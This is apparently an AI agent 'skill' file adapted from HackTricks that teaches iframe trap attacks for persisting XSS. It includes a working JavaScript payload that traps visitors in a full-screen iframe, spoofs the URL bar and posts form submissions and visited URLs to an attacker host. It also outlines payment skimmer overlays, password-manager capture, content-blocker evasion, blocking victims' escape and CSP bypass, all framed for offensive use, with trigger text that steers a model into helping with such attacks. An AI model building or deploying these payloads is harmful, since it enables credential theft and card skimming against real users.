Hacktricks-skills iframe-traps

How to build iframe trap attacks for XSS exploitation. Use this skill whenever the user mentions XSS, iframe attacks, credential harvesting, payment skimmers, or wants to persist XSS payloads by trapping victims in iframes. Also use when discussing modern navigation API tricks, overlay attacks, or bypassing content blockers with local frames.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/iframe-traps/SKILL.MD
source content

Iframe Traps

A technique for abusing XSS via iframes to steal information from users navigating across a web page. The attack traps victims inside a full-viewport iframe while keeping the browser URL bar synchronized to appear legitimate.

When to Use This Skill

Use this skill when:

  • You have an XSS vulnerability and want to persist the attack across page navigation
  • You need to harvest credentials, form data, or local storage from victim sessions
  • You're building payment skimmer overlays for compromised merchant sites
  • You want to bypass content blockers using local frame techniques
  • You're researching modern iframe-based attack vectors (2024+)

Core Concept

The attack loads the vulnerable page in a full-viewport iframe (100% screen). The victim navigates inside the iframe without realizing it. JavaScript listeners:

  1. Sync the browser URL bar with iframe navigation (using History/Navigation API)
  2. Exfiltrate visited URLs, form submissions, and local storage
  3. Optionally disable escape mechanisms (right-click, shortcuts)

Implementation

Basic Full-Viewport Trap

<script>
const i = document.createElement('iframe');
i.src = location.href;
i.style = 'position:fixed;inset:0;border:0;width:100vw;height:100vh;z-index:999999;background:#fff';
document.body.appendChild(i);

function sync(url) {
  history.replaceState({}, '', url);
}

i.addEventListener('load', () => {
  const w = i.contentWindow;
  
  // Sync URL bar on navigation
  ['hashchange', 'popstate'].forEach(ev => 
    w.addEventListener(ev, () => sync(w.location.href))
  );
  
  // Log navigation
  w.addEventListener('click', () => 
    fetch('//attacker/log', {method: 'POST', body: w.location.href})
  );
  
  // Harvest form submissions
  w.document.addEventListener('submit', ev => {
    const fd = new FormData(ev.target);
    fetch('//attacker/creds', {method: 'POST', body: new URLSearchParams(fd)});
  }, true);
});
</script>

Modern Navigation API (2024+)

Use

navigation.navigate
and
currententrychange
to keep the outer URL bar synchronized without leaking the real URL. This is more stealthy than
history.replaceState
.

Fullscreen Mode

Go fullscreen to hide browser UI and draw a fake address bar/padlock. This makes the trap indistinguishable from the real site.

Overlay & Skimmer Patterns

Payment Skimmer Overlay

Compromised merchants replace hosted payment iframes (Stripe, Adyen, etc.) with a pixel-perfect overlay that:

  • Forwards keystrokes to the real frame underneath
  • Captures data before it reaches the legitimate processor
  • Uses legacy validation APIs so the flow never breaks

Autofill/Password Manager Capture

Trapping users in the top frame captures autofill and password-manager data before they notice the URL bar never changed.

Evasion Techniques (2025+)

Local Frame Bypass

about:blank
/
data:
local frames inherit the parent origin and bypass some content-blocker heuristics. Nested iframes can respawn even when extensions tear down third-party frames.

Permission Propagation

Rewrite the parent

allow
attribute to grant nested attacker frames fullscreen/camera/microphone permissions without obvious DOM changes.

OPSEC Considerations

Prevent Escape Attempts

  • Re-focus the iframe when the mouse leaves (
    mouseleave
    on body) to stop users reaching the browser UI
  • Disable context menu and common shortcuts (
    keydown
    for
    F11
    ,
    Ctrl+L
    ,
    Ctrl+T
    ) inside the frame
  • Detect when mouse leaves iframe (potentially to click reload) and update browser URL to the original XSS-vulnerable URL so reload re-poisons the page

CSP Bypass

If CSP blocks inline scripts:

  1. Inject a remote bootstrapper
  2. Enable
    srcdoc
    on the iframe so your payload lives outside the enforced CSP of the main page

Limitations

  • Victim closing the tab escapes the iframe
  • Putting another URL in the browser escapes the iframe
  • Page refresh can escape (partially preventable with the reload-poisoning technique above)

Related Techniques

  • Clickjacking (see clickjacking.md)
  • DOM-based XSS persistence
  • Form hijacking

References